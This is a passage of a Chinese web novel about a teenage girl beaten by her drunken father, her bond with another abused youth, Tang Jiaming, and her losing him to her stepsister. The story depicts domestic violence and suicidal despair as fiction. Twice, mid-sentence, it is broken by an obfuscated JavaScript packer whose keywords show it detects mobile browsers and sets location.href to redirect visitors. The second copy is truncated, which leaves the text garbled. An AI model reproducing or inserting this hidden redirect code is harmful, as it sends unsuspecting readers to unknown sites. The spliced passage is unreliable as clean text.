徐佳佳相信徐盛要打死她！至少，在那个失去控制的愤怒的瞬间。 人类的认知是有发展过程的。一开始，徐佳佳相信父亲只是喝醉了，然后，她逼着自己相信父亲只是愤怒，父亲也会犯错，但父亲还是父亲，还是爱她的。后来，她痛苦地自责是自己做得不够好，埋怨自己为什么会犯下如此愚蠢的错误，慢慢的，她开始相信命运，一切的错误，一切的苦难都是命中注定，命中注定杨曙忠被炸死，命中注定李兰神志不清，命中注定杨敏夺走她的父母，命中注定，她被殴打。但是，她不服气，为什么是她？为什么不是张三李四？不不不，不是她的错，是父亲的错。徐佳佳受到了无数的伤害，走了很长的路，才坚定了这个信念，她没有做错任何事，错的是父亲。父亲把错误归结于她是错误的，父亲殴打她是错误的。 现在，父亲想杀死她！ 这是一场没有预谋的杀戮。徐佳佳不相信父亲丧心病狂到想要谋杀。但是，被酒精失意愤怒控制了的徐盛，殴打女儿，在女儿身体上制造伤口，制造痛苦的时时刻刻，事实上已经有了一颗杀戮的心，并且实施着杀戮的行为。 母亲救了她。她拿了一个花瓶砸在徐盛的脑袋上。徐盛倒在地上，昏迷过去，鲜血不知从哪个伤口流出来，在地板上漫延开来，象一片节日的花海。 “佳佳，快走，你快走，有人问起你就说你上学去了，什么都不知道。”袁小宜语无伦次。 徐佳佳想起了电影里的细节，她爬过去，把手伸到徐盛的鼻子底下，感觉到轻微的呼唤。她欣喜若狂，“妈妈，他没死，还有气，他还活着，活着！” 差点杀死她的人还活着，她居然因此而高兴。 徐佳佳和袁小宜在外面躲了三天，三天后回到家，才知道徐盛拿出了所有的积蓄，给李兰换了一家更好的疗养院。 所有人都说，徐盛是个好人。 徐佳佳不再讨厌杨敏，她讨厌的人是李兰，懦弱无能逃避责任自杀的母亲。 这个世界就是这样，有的人想要杀死自己，有的人想要杀死仇人，有的人想要杀死最亲的人，有的人想要杀死最爱的人，有的人，想要杀死陌生人。 很长一段时间里，徐佳佳都在思考一个问题，唐家明为什么想要杀死她呢？ 首先，让我们明确一下，徐佳佳为什么要思考这么一个无聊的问题。事实上，徐佳佳已经厌倦了，厌倦了思考父亲为什么要打死她，母亲为什么软弱无能，杨敏为什么视而不见？因为思考除了带来痛苦和失望，没有任何答案。所以，徐佳佳的注意力转移到了唐家明身上。唐家明是陌生人，思考唐家明不一定会有答案，但是，至少不会带来痛苦和失望。 清醒着痛苦的人们，总要做点什么来消耗生命。 什么样的人会无缘无故伤害陌生人？懦弱悲惨无用的可怜虫，只有这种人，自身的存在价值已经没有，没有挑战强者的勇气，只能在弱小者身上寻找存在感。徐佳佳兴奋地探寻着唐家明的秘密，完全忘却了唐家明想要伤害的是她自己。她迫切地想要证明，唐家明活得比她更悲惨。对于徐佳佳来说，释放悲伤最好的方式，既不是物质上的帮助，也不是精神上的鼓励，而是知道这个人另一个更加悲惨，更加需要帮助的故事。 人类的思想是这世上最丑陋的存在，没有之一，以至于人类自己为了自保，不得不制订法律，宣布思想无罪。 徐佳佳在学校碰到了唐家明的母亲唐学华。唐学华是来给儿子送换洗衣服的。她低着头走路，看见有人走近，远远地就开始让路。说话前先小心看一看对方脸上的表情，对方只要稍稍表露出不高兴的意图，她就脸色苍白，她的手在发抖，是一种随时都会抬起来抱住脑袋的防御姿态。 很残忍，徐佳佳想过就此收手，但是，唐家明在对杨敏微笑。 那是最后一堂体育课时间，一群女生在打篮球，球飞过围墙，一群外来的年轻人在起哄。女生们谁也不愿意站出来，只有杨敏，心甘情愿地当出头鸟。她急于讨好她的同学们，修复岌岌可危的同学关系。她壮着胆子跑过去，问他们是否可以把篮球还回来。 徐佳佳冷眼瞧着。杨敏的性格遗传她的母亲李兰，羞涩而内向，打小最爱做的事情就是躲在她身后当胆小的小妹妹。永远永远，不要把自己看得太过重要，地球离了谁都照样转，不仅自转还公转。看吧，徐佳佳不在身边，胆小内向的杨敏就勇敢地站出来了。 年轻人在起哄，逼着杨敏喊哥哥才肯把球还回来。杨敏脸涨得通红，眼泪在眼眶里打转。路过的唐家明恰到好处地扮演了英雄的角色，从年轻人手里把篮球要了回来。 作为观众的徐佳佳非常不满意。外来的年轻人不是坏人，不过是荷尔蒙作怪，讨点嘴里的便宜。杨敏的应对才是重点，本来可以自己解决的小事，非要等待白马英雄的解救。唐家明的微笑尤其刺目刺心。 徐佳佳走到唐家明身边，模仿着唐家明的样子，小声地，带着十足恶意的幸灾乐祸，“我知道你的秘密。” 唐家明脸色大变，推着徐佳佳到了僻静处。 徐佳佳根本不在乎，她在乎的是杨敏。果然，站在远方的杨敏脸色变得很难看。 “你想做什么？” “我想做什么？”徐佳佳冷笑，“应该问你打算怎么做才对？你妈妈被被人打，被最亲的家人虐待，你这个做儿子到底知道不知道？”她残忍地笑了，“说不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16729733|189609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 定，这个虐待的人，就是你，人人眼里的好儿子。” 唐家明愣住了，半天才说出话来，“你怎么知道的？” “我就是知道！”徐佳佳本想得意，但涌上心头的无穷无尽的悲伤。 只有亲身经历过的人，才能看得懂那些悲伤。 “你被谁打了，你父亲，还是你母亲？”唐家明仔细打量着徐佳佳的身体，从头到脚。 他的手指插进她的头发，摸索到隐藏在里面的伤口。他拉起她的长袖，胳膊上是烟烫过的疤痕，他蹲下身来，卷起她的裤腿，膝盖肿成紫黑色。当他试图解开她胸前的钮扣时，她猛地过神来。 “唐家明，你神经病啊你！” 她用力把他推开。他没有防备，一屁股坐在了地上，模样滑稽可笑。徐佳佳笑了，好吧，这种时候还笑得出来确实是件奇怪的事，但是，她忍不住，还是笑了出来。 因为一个笑容，唐家明爱上了徐佳佳。那一年徐佳佳只有十五岁。唐家明十八岁。没有人，包括他们自己也没想到，爱情来得如此莫名其妙。 “我错了，徐佳佳，你是好姑娘。现在相信你是真的想自杀，徐佳佳，你不一样，你跟他们不一样，那些因为一次考试没考好，一部手机被没收，一次恋爱失败就自杀的胆小鬼不一样。我从来不会同情那些人，因为今天可是一部手机，明天就有可能是一场考试，活在世上，随时随地都会有比一部手机，一件衣服，一场考试更大的困难拦在面前。徐佳佳，你不一样，你是真的找不到出路，活不下去了。你的痛苦，远远超过一部手机，一场考试。我看得出来，你努力过，非常非常努力过，并且正是因为那些努力，越发让你感到无能为力。我知道那种感受。恐惧，时时刻刻无所不在的恐惧缠绕着你，你提心吊胆，小心翼翼，担心自己做错事却总是在做错事。事实上，你没有错，你没有做错任何事。你反抗过，但是你的力量太过弱小，你寻求过帮助，但是你最信任的人背叛了你。你想过逃离，但是世界之大，你无处可去。这一切，都不是最糟糕的，最糟糕的是，你居然还有感情，你对伤害你的人还有感情，你全心全意乞求，即使他有哪怕是一点点悔悟的表现，你的世界都亮了。很可惜，没有光明，你的世界没有光明，只有黑暗，无穷无尽的黑暗。” 没有经历过的人说不出这番话。徐佳佳紧紧抓住唐家明的手，理解，懂得，冰冷而孤独的世界，终于有一个懂她。“唐家明，你怎么可能这么清楚，你跟我一样，也经历过，对不对。挨打的不是你母亲，是你，是你，对不对！” “是我，还有我的母亲。”唐家明说，“打我们的，是我的父亲，他酗酒，赌博，还一心想发财，发大财。他是一个赌徒，赌徒怎么可能满足于现状呢？为了发泄心中的不满，他把自己变成了凶徒，我和母亲成了他最佳的出气筒。打开门，他是最好的父亲，带我逛公园，打篮球，放风筝，关上门，他就成了魔鬼。他不满意，所有的一切都不满意，我穿白衬衫他说不吉利，我穿运动鞋他说我赶着奔丧，我看米老鼠他说老鼠克他，我要钱交学费他说我天生就是要债的，连窗外刮风都是不对的......他愤怒，所有的不满意都成了他愤怒的理由。他的愤怒需要发泄，我和母亲成了最方便的对象。因为我们距离他最近，因为我们无力反抗。其实，所有的不满意，所有的愤怒，只有一个理由，他打牌输钱了。首先是甩耳光，猝不及防的耳光，一个接一个，然后觉得脸打肿了不好看，就用脚踢，一开始还有分寸，朝着屁股大腿这些不致命的地方踢，后来失去了控制，踢中哪里算哪里，脚踢了还不算，嫌脚痛，用东西砸，茶杯，碗，花盆，凳子，椅子，拖把都能成为打人的工具。动静闹大了，邻居们会劝解说闲话，就会烟头烫，捉住一只手，吸一口烟，把烟头按上去，皮肉烧着吱吱作响，他不为所动，慢慢的，悠闲的，把吸进体内的青烟从嘴里释放出来。不许哭也不话叫，哭了，叫了重新再来一次，烫的时间更长。” 徐佳佳拉起他的袖子，在胳膊上找到了熟悉的疤痕。她轻轻地抚摸着，仿佛蝴蝶的翅膀，有点痒有点甜还有点暗暗的泪意。 10. 第 10 章 “我妈妈的胳膊上也有这样的疤，我很想摸一摸，再小心地吹吹。小时候不小心被锅里的热油烫伤了，妈妈帮我吹一吹就没那么痛了。我也想帮妈妈吹吹，我也想问一问妈妈痛不痛。可是我不敢问也不敢说，她是小学老师，自尊心很强。她不想女儿知道有个被老公打得跪在地上求饶的妈妈。我想过拉着妈妈离开那个家，离开那个男人，永远不要见那个男人。可是，我不敢，我挨打的时候，妈妈一遍又一遍地说，他是你父亲，他是你父亲，天下没有不爱儿女的父亲，他心里是爱你的，只是不擅于表达。” 唐家明一把把徐佳佳抱在怀里，抱得那么紧。他没有其他的想法，只是单纯地觉得眼前这个瘦弱倔强的小姑娘需要温暖。 徐佳佳把唐家明当成了亲人。她会缠着他说很多话，考试得了好成绩，在家里挨了打，甚至偶尔听来了一个笑话。她都会说给唐家明听。她说得最多的是高兴的事，看到唐家明的笑容，她会开心，会觉得生活并不是那么艰难的。她知道唐家明喜欢她的笑容，所以她总是在笑，笑着笑着，她觉得自己也许是个幸福的女孩。 “唐家明，我今天用了你说的办法，拿了一本字典在身边，我爸打我的时候，我就用字典去挡，他喝醉了，居然一点也没意识到。我一点也不痛，不过，我爸的手肿了。” 阳光下，徐佳佳的笑容是那样的灿烂。她举起手，比划着。“你知道吗？他的手肿得有那么大，比猪蹄还大，好笑极了。” 她笑着笑着，眼里全是泪水。 唐家明抚摸着她的头发，硬硬的有点扎手。她的头发很短，几乎贴着头皮，象个小男生，露出额头的伤疤。是他教她的。把头发剪短，象男生一样的短发，挨打的时候不会让人揪住头发。但是，他们对外人的解释是，学习太辛苦，没时间打理头发。 午后的阳光很温暖，两个人躺在草地上，有一搭没一搭地说着闲话。 “佳佳，以后你有什么打算？” “以后？” “是啊，长大以后。” “考大学，我要考远方的大学，离家越远越好。我要到一个全都陌生人的城市，那里的人也许会很友好，也许会很冷漠，但是不管怎样，他们不会无缘无故伤害我。” “去北京吧，那是个很大的城市，大得没有人说得清，城市的每一间公寓，每一间平房，每一个地下室，到底住了多少人。所有人都说普通话，每个人都有自己的故事，但是，没有人会对别人的故事寻根问底。人们关心的是生存，你生存得光鲜体面，灿烂阳光，这是你的能力，就能得到认同和接纳。当然了，你也可以自怨自怜，阴暗愤怒，这也是你的选择，但是你能获得的只有同情和同样的愤怒。不过，佳佳，我相信你是阳光灿烂的女孩。” “呸，你才阳光灿烂。”徐佳佳觉得唐家明一点也不了解她，她很阴暗很愤怒。 “我从没见过哪个女孩，活得如此艰难，还能笑得如此灿烂。” “杨敏呢，她的笑容是不是也同样灿烂？” 这个问题真是愚蠢之极，话一出口，徐佳佳就想扇自己一嘴巴。她居然象个恋爱中的无知少女一样争风吃醋。 唐家明装作没有听到这个问题。“到北京上大学是最好的方式，你可以在大学里，认识新的朋友，开始新的生活。”他摸了摸徐佳佳的脑袋，“所以，好好努力吧，考上北京最好的大学。” “我的成绩一直很好。” “好吧，我说错话了，继续努力吧，你一定会实现目标的。” “你呢？你也会考北京的大学吗？” “是啊，我也需要在一个大城市重新开始。” 那是一个冬天，阳光灿烂，家里的暖气开得很足，坐在窗边看窗外的冰雪世界，是一种置身童话世界的幸福。 程雨涵有点懒散，徐佳佳没有责备她。 “我们看雪景吧。”徐佳佳提议。 “好啊，这种天不适合学习，只适合晒太阳偷懒。” “偷懒是一种幸福的感觉。” “没想到你居然会说出这样的话来。” “我为什么不能说这样的话？” “我觉得你应该是那种不逛街，不唱卡拉ok，不买新衣服也不买化妆品，当然了，更不会谈恋爱，有时间只会呆在图书馆死读书的书呆子。” “其实我谈过恋爱，高中的时候。” “哇，徐佳佳你居然早恋！” “严格来说，也不叫早恋，我喜欢一个男孩，男孩喜欢另一个女孩。” 什么样的人会造成伤害呢？你所期待的人，你所付出了感情的人，你所依赖的人，你的亲人，你的朋友，你爱着的人，他们无心的一句话，一个动作，都能造成最残忍的伤害。父亲，母亲，杨敏，还有唐家明，都是如此。 如果唐家明自始至终象第一次见面那样恶劣，如果徐佳佳没有信任唐家明，如果徐佳佳没有爱上唐家明，徐佳佳就不会对唐家明有所期待，没有把她当成生命里最重要的人，最亲的亲人。 是的，最亲的人，我们会对最亲的人，最爱的人有着怎样的期待呢？如果我是杀人凶手，我所爱的人陪着我浪迹天涯；如果我陷入绝境，我所爱的人陪我同生共死。如果我即将步入死亡，我所爱的人永远爱着我，即便要去爱另一个人，也请不要超越我的位置。我的朋友，就是爱人的朋友，我的亲人，就是爱人的亲人，我的敌人，同时也是爱人的敌人。自私吗？是的，爱情是自私的。荒谬吗？是的，爱情是没有理由的。所有的书籍，电影，电视，音乐，所有的被称为艺术的高雅的玩意们，都在歇斯底里摇旗呐喊。 有家没有名字没有招牌的非法网吧，离家学校大概五分钟不到的路程，坐落在居民区最里面的一栋的顶楼，门口有社区保安，符合非法经营的一切条件：僻静，安全。同学们会利用午休或是下午最后一节课的时候，从学校翻墙出去。这种事，很多学生都做过，虽然老师的工作总结是写着：极少数同学。 那是暖春的午后，午睡过于奢侈，清醒太过难受，挣扎的结果就是昏昏欲睡。徐佳佳翻过高高的围墙，颇有成就感地围墙上静止了几秒钟。简单快乐的少女心，就是这么幼稚的。如果这时候来了一位严谨保守的老师，对少女说，“翻墙是错误的，翻墙出去上网更是错上加错，多少青少年迷恋网络，迷恋网络游戏，荒废学业，早恋离家出走清白被毁前途尽毁。”老师们可以从一件小事延伸开来，用一辈子的时间来说教，学生们觉得老师们说的都是大惊小怪，夸大其词的废话。 徐佳佳在围墙上看到了唐家明和杨敏。他们坐在古樟树下，绿树已成荫，必定是香气袭人，年轻男女聊天说笑，肩并着肩，头挨着头。那是一幅美丽的画面。但是，徐佳佳是个胆小鬼，她做不到大方地欣赏，也做不到冲动地破坏，她选择了最糟糕的方式，跳下墙头，直奔网吧。 从中午到深夜，徐佳佳不上学也不回家，在网吧上网。她花光了所有零用钱和一个星期的生活费。上网，游戏。她沉浸在游戏的世界里，杀戮一切丑陋的怪物，增长经验，提升能力。 校长亲自来到网吧，领走了徐佳佳。事态的严重程度，从来都是和参与人的身份密切联系的。以徐佳佳旷课上网事件为例，如果喊走徐佳佳的是普通同学，天下太平，什么事也没有。换成老师，结果就变成了点名批评写检讨之类。徐佳佳旷课事件的另一方当事人，换成了校长大人，事件的性质发生了变化。 在校长办公室里，徐佳佳看到父亲徐盛。徐盛气得全身发抖。闪入徐佳佳脑海的第一个念头是：徐盛会打她，毫不留情地殴打她。她猜对了，徐盛没有说话，直接一脚踢在她的小肚子上，把在场的人都吓了一大跳。老师们是尽责的，奋力拉开了徐盛。 “有话好好说，教育孩子要有耐心，不能光靠打骂。”校长说话就是有水平。 “不想读书就不要读，跟我回家。”徐盛说。 在场的人认为徐盛说的是气话，只有徐佳佳知道，徐盛哪怕是喝醉酒，说的也是真话。她甚至相信，这个念头在父亲的脑子里很久了，今天总算是找到机会说出来了。 李兰转院，继续住院，徐盛花光了所有的积蓄。杨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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徐佳佳看着安静地坐在窗边的杨敏，她在看书，准备明天的期中考试。杨敏感觉到了她的目光，她把书翻过了一页，还拿出笔在上面标注重点。 徐佳佳决定做点残忍的事情。“爸爸，这是一辈子的事，有些话，我想说清楚。” “说吧。”徐盛难得地摆出了民主的姿态。 事实上，徐佳佳没有话对徐盛说，对于暴力，她无话可说。她说话的对象，是杨敏。“明天期中考试，杨敏你不用假装认真了，你再努力，也考不过我。上一次我是全年级第三名，你呢，好像是一百名以后吧，反正我在学校的红榜上没看到你的名字。爸爸，我觉得我考出这样的成绩叫做不愿意读书。” “现在说你的事情，你扯杨敏做什么！” 徐盛一个茶杯砸过来，徐佳佳不闪不避，茶杯正好砸中她的额头，鲜血直流，徐佳佳感觉到了力量，她甚至伸出舌头，品尝了一下自己的鲜血。她很满意现在自己的状态，简直就是：热血沸腾。 “你供两个孩子读书，一个是你亲生的，一个是你捡来的，一个成绩很好，一个成绩一般，现在你让成绩很好的亲生女儿退学，给成绩一般的捡来的女儿让路。爸爸，你觉得公平吗？” “公平，你有什么资格跟你老子谈公平，老子生你养你到这么大，现在老子不愿意养你了，犯法了，是不是犯法了，犯法了你去法院告你老子啊，看法院会不会把你老子抓起来。翅膀长硬了是不是，上次的账我还没跟你算，徐佳佳，你跟你妈在老子后脑勺来那一下子你以为我忘记了，反了你了反了你了反了你了......”徐盛不断地重复着四个字，他的大脑已经不需要思考了，因为他的手，他的拳头，他的脚已经取代了大脑。 徐佳佳站着，背挺得笔直，头抬得高高的，她不哭，不喊，不闹，一动不动，承受着雨点般的拳打脚踢。 “杨敏，别装了，看书，这种时候你还有心情看书，你是骗我还是骗你自己。你爸爸死了，妈妈疯了，你活得不开心不如意，你拥有了别人的同情还不够，你还希望别人也不开心。” 徐盛听不下去了。“死丫头你满口胡说，我让你胡说让你胡说让你胡说......”他试图揪住徐佳佳的头发，他失败了，于是他干脆放弃，用力把徐佳佳推向墙壁。 徐佳佳的身体，象是脱轨的火车冲向了墙壁，脑袋砸在墙上。“轰”的一声，她似乎听到了一声巨响，但是，又好像她什么也没听到，因为她的大脑已经失去了意识，她没有看到，杨敏暴发了，抱住徐盛的腿。“叔叔，别打了，我求求你，别打了，别再打了。你让佳佳继续念书吧，叔叔，我求求你了。” 11. 第 11 章 晚上杨敏帮徐佳佳包扎伤口，酒精消毒的刺痛，终于让徐佳佳不再麻木。她的大脑清醒得吓人，然后，她看到杨敏拿出了一本存折。 “给你。”杨敏说。 徐佳佳打开，上面的数字于她而言，可以说是一笔巨款。 “没想到你这么有钱。”徐佳佳笑了。 “妈妈住院后，我在家里的抽屉找到的。还有，爸爸。”她看着徐佳佳的脸色，乖巧地改了称呼，“徐叔叔每个月会给我零用钱，我都存起来，你拿着当生活费，哪怕是当学费也够了。” “什么意思，拿钱补偿，你跟我爸爸的事，需要你这个外人来补偿吗？” 徐佳佳的愤怒也激怒了杨敏。 “不是。佳佳，你必须承认一个事实，徐盛现在是我的爸爸，你才是那个外人。他一心一意想做我的爸爸，你存在的唯一意义，是时时刻刻地提醒他，因为你的任性因为你的无理取闹，徐盛害死我的爸爸。你知道最不可原谅的是什么吗？是你的愚蠢，你的愚蠢让我在失去了爸爸之后，又失去了妈妈。上个星期我去看她，她已经不认识我。她的记忆停留在恐怖事件发生之前的那天早上，她给我梳了一个好看的小辫子，爸爸匆忙喝了一口豆浆拿了根油条说要去给徐盛代班。她说她等爸爸回家。她对我吼叫，说我不是她的女儿，她的女儿没这么高，没这么大。” 好吧，杨敏成功了，徐佳佳有了严重的罪恶感，她觉得杨敏是那样的善良，即便是悲惨即便是伤心即便伤痕累累，仍然拿出了全部的积蓄，送给了不喜欢的人。 “杨敏，你赢了，我不要你的钱，也不要我的父亲，我什么都不要，我只想要一条活路。你走吧，从此以后，你跟徐盛走你们的阳关道，我走我的独木桥。” “什么意思？我不明白？” “就是你所说的意思，那个家，是你的了，那个父亲，也是你的了，我只是无关紧要的外人。你不会在那个家里看到我。因为，我不会回去了。” 徐佳佳推开杨敏离开。那一天是半夜，最后一班公车也已经下班，从家到学校，徐佳佳走了整整三个小时。那一段漫长的路上，徐佳佳决定了一件事，从此以后，她不再悲伤，不再愤怒，不再牵挂，她活着，努力地活着，只为她自己。 徐佳佳是在学生宿舍的大门口看到程雨涵的。她眼也不眨地盯着进出的人，直到看到徐佳佳，脸上是不容置疑的喜悦。 徐佳佳必须要忏悔了。从头到尾，她对程雨涵的好感不多，好话也说得不多，连好脸色也给是不多。所以，她万万没想到，程雨涵会来找她。 “徐佳佳，终于找到你了。”程雨涵很兴奋，对于徐佳佳脸上诸如惊讶，不悦之类的表情视而不见。 徐佳佳真的很羡慕程雨涵，幸福的孩子，无拘无束，无所顾忌的幸福，还没学会看人脸色。 “你找我做什么？” “我跟我妈吵架了，她怎么能那样对你呢！有钱就了不起啊。反正我跟我妈下最后通牒了，你不回去，我就跟她断绝母女关系。” 徐佳佳笑了，因为程雨涵的天真。 “走吧，我请你吃饭。”徐佳佳说。 “还是我请吧，我比你有钱。我离家出走时拿了我妈的信用卡。” 好吧，这就是程雨涵，每当你有那么一点感动时，她立刻用自身固有优越性打击你。 “我请。”徐佳佳坚持着，她不想跟程雨涵争吵，同样的十八岁，徐佳佳把程雨涵当成没长大的孩子。 请客的地点是一家露天的大排档。火烧得旺旺的，炒菜的大锅里不断地喷出火来，塑料小筐装着或荤或素的菜品，就这么露天地放着。车来车往，棚子下的食客们说说笑笑，无心抱怨糟糕的卫生环境。 程雨涵一下子就兴奋起来。“哇，跟我们学校门口的饭店一模一样！我去点菜。”话没说完，扔下徐佳佳跑到灶台边跟老板兼厨师商量着点菜了。 程雨涵就是个开朗快乐的孩子，尽管有着这样或者那样的缺点。停住！为什么我们总是要在表扬一个人的同时，也要顺便把缺点提一提呢？一个人的缺点，真有那么重要吗？朋友之间的交往，到底是和缺点做朋友，还是优点做朋友呢？首先，我们必须要承认，成为朋友的先决条件，是相互欣赏，欣赏对方性格中的闪光点，也就是优点。所以说，大多数时候，我们交往的并不是朋友，而是优点。 有必要那么冷酷吗？ 我们为什么不能让感情战胜缺点呢？我们为什么不能用一颗宽容的心对待朋友呢？ 徐佳佳检讨自己，她决定在剩下的时间里，收起挑剔的心，忽略程雨涵的缺点。效果很明显，那天晚上，徐佳佳过得很快乐，可以说，是她人生中少有的快乐时光之一。 在家里，程雨涵可以因为一件小事跟母亲顶嘴，到了外面，她是个漂亮活泼懂礼貌而且嘴甜的青春美少女，跟上潮流的说法，就是无敌青春美少女。 程雨涵对着掌勺的师傅一口一个叔，对大叔掌勺工夫表示了发自内心的崇拜，又对菜品的新鲜程度，卫生程度进行了高度的表扬和肯定。菜上桌的时候，无论是菜品的份量，外观还是味道，明显是超水平发挥。以至于邻桌的人有心提意见，看到程雨涵甜甜的笑脸，立马打消了念头。 原来，人生的选择是如此的丰富多彩，你不仅可以选择和谁做朋友，还可以选择跟朋友的缺点或是优点做朋友，你可以嫉妒，愤怒，也可以宽容，喜悦，平和。 活着，我们唯一不能选择的是出生。我们无权选择父母，贫穷或是富裕，高尚或是卑劣，坚强还是懦弱......当然，也曾有过愚蠢的家伙们尝试寻求法院，诸如：“你们为什么要生我？”“我为什么会有你们这样的父母？”之类所谓绝望的呼唤，归纳到逻辑的范畴，只需要四个字就可以总结：无理取闹。 很早以前，徐佳佳就学会了功利主义总结，她把感情分成两类，一类是有用的感情，例如喜悦，幸福，冷静之类。一类是无用的感情，例如伤心，绝望，痛苦，愤怒，埋怨。当后一种情绪出现的时候，她只需要问自己一个问题：有用吗？只有唯一一个答案：没有，不仅是没用，反而会引发更多的麻烦。于是，她学会不了伤心，不绝望，不痛苦，不愤怒，不埋怨，那么，她贫乏的感情品种里，剩得最多的是麻木。 程雨涵的出现，对徐佳佳来说，是一个意外。突然之间，她的脑子清醒了，原来世界上还有另外一种人，另外一种生活方式。她们的快乐和伤心是如此地简单，直接触及人体的每一种情绪，伤心了就哭，愤怒了就骂，高兴了就笑。不必隐忍，不必伪装。如果这就是生活的本来面目，那么，爱情呢？ 关于爱情，徐佳佳曾经有过很多顾虑。她担心唐家明对她只是同情，与此同时，她也怀疑自己，怀疑自己因为恐惧，孤单和寂寞，对唐家明，这个唯一对她友好的少年，产生了依赖。她担心，对唐家明不公平。她想得越多，她的束缚就越多，她就越来越不开心。 是时候向程雨涵学习了！ 徐佳佳问了唐家明一个问题：“你爱我吗？” 唐家明心神不定。“怎么突然想到问这个问题？” “这个问题很难回答吗？爱，还是不爱？两个字，或者一个字就够了。” “佳佳，爱情不是你所想象的那么简单……” “停！唐家明，你跟我在一起是什么感觉？开心吗？” “开心。” “喜欢吗？” “喜欢。” “有想过未来吗？” “未来？” “例如，毕业之后，你会留下来吗？留在北京？” “会，你一个人在这里，我不放心。万一你爸爸来学校找你怎么办？万一你爸爸又逼着你退学怎么办？” “你会不会觉得我是你的麻烦？你帮了我很多，出学费，找工作，担心我没饭吃，担心我太节省吃不饱，还担心我自尊心太强不愿接受你的帮助，你有没觉得烦，觉得累。” “怎么会呢，又胡思乱想，帮你是件很开心的事。” “你所说的，都是真话吗 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“是，你和杨敏，我更喜欢杨敏。徐佳佳，你象个长满倒刺的小刺猬，跟你在一起，只会让人遍体鳞伤。爱得越深，伤得越重。杨敏不一样，她有一种温暖的力量。和她在一起，有一种一辈子的感觉。”唐家明想了想，又说了一句残忍的话，“徐佳佳，谢谢你提醒了我。以后我会更注意一些跟你保持距离。我不想哪一天杨敏误会我们俩。我对她真心的。等她一毕业，我就跟她求婚。对了，我妈妈也很喜欢杨敏。” 徐佳佳不记得自己是怎么离开的。她鼓励过自己，勇敢地接受最糟糕的结果。是的，现在就是最糟糕的结果。她跟心爱的男孩表白，男孩告诉她，他爱着另一个女孩。 徐佳佳失恋了。亲情是一场战争，徐佳佳输给了杨敏。爱情是另一场战争，徐佳佳也输给了杨敏。两场战争，杨敏都是胜利者。徐佳佳，一直都是那个失败者，没有家人，没有爱人，一无所有的失败者。 徐佳佳躺在床上，她想哭，但是她的眼里一滴泪也没有。脑子里象放电影一样，放着她和唐家明的点点滴滴，一遍又一遍。她想起和唐家明的第一次见面。他是那样的可恶，如果时间能够倒转，她宁愿唐家明永远是那样的可恶。 “徐佳佳，你不是想死吗？为什么还要挣扎呢？” 那是唐家明对她说的第一句话。徐佳佳猛地睁开眼睛。 唐家明认识她！在他们第一次见面之前。徐佳佳感觉到了恐惧，那是一种潜伏在内心深处，从头到脚都冰冷如寒冬的颤抖。 为什么徐佳佳会觉得恐惧呢？而不是通常意义上的害怕。女人们常常说，天啊，我胆小，我晚上一个人不敢睡觉；我看到蛇和老鼠会尖叫；男人们则常常说，胆小的女人是多么地可爱啊。不，徐佳佳能严格区别恐惧和害怕。唐家明于她，不是一个单独一人的漆黑的夜晚，也不是面目可憎的小小老鼠和蛇。她感觉到的是，她早晨起床，她去食堂吃饭，她去教室上课，她在宿舍睡觉等等等等，她日常生活的点点滴滴，都在危险乌云的笼罩下，她只知道危险，不知危险何时何地会以何种态势出现。 徐佳佳是个聪明的学生，她的考试成绩一直很好。不要总是批评应试教育。如果一个人在自己不屑一顾的领域内都沦为失败者，至少，在所谓聪明的等级上，是需要打一些折扣的。应试教育都会了徐佳佳一个生存法则：凡事都有标准答案，不一定百分百正确，但百分百能得分。不信？你看吧，徐佳佳已经开始推理了：唐家明是同时认识她和杨敏的。什么样的人会同时关注她和杨敏呢？即便是血缘关系最近的徐盛，袁小宜，也只来得及关心杨敏一个。等等，也许，杨敏才是唐家明关注的目标，徐佳佳，不过是顺带而已。 十八岁的徐佳佳，孑然一身，友情求而不得；亲情求而不得；爱情亦是求而不得。自始至终，她最要的目标是生存，生存，继续生存。为了生存，她必须排除一切潜在的危险。 午后的图书馆，靠窗的位置能够受到阳光的眷顾。她坐在这个位置，一天一夜。身边的同学来了又去，去了又来，他们学习，他们上网游戏荒废生命，他们谈情说爱，他们甚至偷撕书页……陷入绝望的人会有怎样的思想呢？徐佳佳在羡慕，羡慕平平安安活着的每一个人，会哭会笑会吵架会骂人会偷懒会做坏事都没关系，只要能活着，安安全全地活着。徐佳佳的后背全是汗，冰冷的汗水。 12. 第 12 章 图书馆的管理员首先留意到了徐佳佳的不对劲，她问她是不是身体不舒服。徐佳佳不回答，不仅如此，她还死死咬住嘴唇，严禁自己发出声音。是的，她在发烧，她的身体象是火在烧。她的鼻子似乎随时都能喷出火来。她的大脑已经糊涂了，但是，恐惧还是控制了她的本能，她严禁自己发出一丝一毫的声音。她要保守秘密，只有守住秘密，她才是安全的，杨敏才是安全的。 徐佳佳为什么还要关心杨敏的安全？她不知道。 无论如何，徐佳佳都没有保护杨敏的理由，但是，事实是，关键时刻，徐佳佳的本能居然做出了最荒谬的事。所以，三天后，睁开眼睛的徐佳佳，看到守在病床前的杨敏，两个人好像有一种默契：没有意外的惊喜，也没有曾经的激烈。你在这里，我就忍着。我在这里，你也得忍着。 杨敏照顾了徐佳佳三天三夜，不眠不休，而且承担了全部的医药费。 “不用担心，我手里有钱。”杨敏说。 杨敏不仅有钱，甚至可以说得上是个小富婆。亲生父母的财产，徐盛一分不少地给了她。平时的学费生活费零用钱，恨不得倾其所有往宽里给。这些事，徐佳佳早就知道，并且，已经习惯了。所谓习惯，意思就是她已经不会因为这些金钱上的小事，产生伤心愤怒的情绪，甚至连最细微的嫉妒都没有了。 她接受杨敏的好意，因为她累了，不想因为这些小事跟杨敏发生争执，她不想让自己痛苦。她没有赶走杨敏，是因为她还有更重要的事情想要告诉杨敏，关于唐家明的事情。她犹豫着，拖延着，努力寻找着最好的时机。 